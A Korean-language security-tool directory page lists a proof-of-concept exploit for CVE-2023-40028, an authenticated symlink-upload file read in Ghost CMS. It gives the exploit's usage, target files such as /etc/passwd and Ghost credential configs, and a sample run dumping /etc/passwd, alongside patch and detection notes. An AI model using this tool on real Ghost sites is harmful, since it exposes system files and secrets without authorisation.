Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-40028 — CVE-2023-40028용 POC: Ghost CMS 임의 파일 읽기 | Kitploit
도구/GitHubGitHub/godylockz/cve-2023-40028
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPenetration Testing
GitHubgodylockz/cve-2023-40028

CVE-2023-40028

CVE-2023-40028용 POC: Ghost CMS 임의 파일 읽기

저장소 보기
21년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-40028: Ghost CMS 임의 파일 읽기

설명

이 PoC(Proof-of-Concept)는 CVE-2023-40028을 악용하여 Ghost CMS에서 파일 읽기 접근을 달성하는 데 사용할 수 있습니다.

Ghost는 오픈 소스 콘텐츠 관리 시스템(CMS)입니다. 5.59.1 이전 버전은 인증된 사용자가 심볼릭 링크인 파일을 업로드할 수 있게 하는 취약점의 영향을 받습니다. 이는 호스트 운영 체제의 모든 파일에 대해 임의 파일 읽기를 수행하는 데 악용될 수 있습니다. 사이트 관리자는 Ghost의 content/ 폴더에서 알 수 없는 심볼릭 링크를 찾아 이 문제의 악용 여부를 확인할 수 있습니다. 버전 5.59.1에는 이 문제에 대한 수정이 포함되어 있습니다. 모든 사용자는 업그레이드하는 것이 좋습니다. 이 취약점에 대해 알려진 해결 방법은 없습니다.

심각도: 6.5 MEDIUM 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

관심 대상이 될 수 있는 일부 일반 텍스트(비바이너리) 파일:

  • /etc/hosts Linux 로컬 DNS 확인
  • /etc/passwd Linux 사용자 계정
  • /etc/group Linux 사용자 그룹
  • /var/lib/ghost/config.local.json Ghost CMS 로컬 구성
  • /var/lib/ghost/config.production.json Ghost CMS 프로덕션 구성

사용법

root@kitploit:~
usage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]

POC for CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS)

options:
  -h, --help            show this help message and exit
  -t URL, --url URL     Target Ghost CMS URL (e.g., http://target-ghost-cms)
  -f FILE, --file FILE  File path to read
  -u USERNAME, --username USERNAME
                        Username for authentication
  -p PASSWORD, --password PASSWORD
                        Password for authentication
  -c COOKIE, --cookie COOKIE
                        Cookie for authentication
  -x PROXY, --proxy PROXY
                        HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
  --timeout TIMEOUT     Request timeout
  -a USERAGENT, --useragent USERAGENT
                        User agent to use when sending requests

예시

root@kitploit:~
$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'                                      
[*] Checking authentication (username/password) ...
[+] Admin session created successfully.

Welcome to the Ghost file-read shell. Type help or ? to list commands.

file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

참조

  • NIST CVE-2023-40028
  • Git Commit Fix
도구 다운로드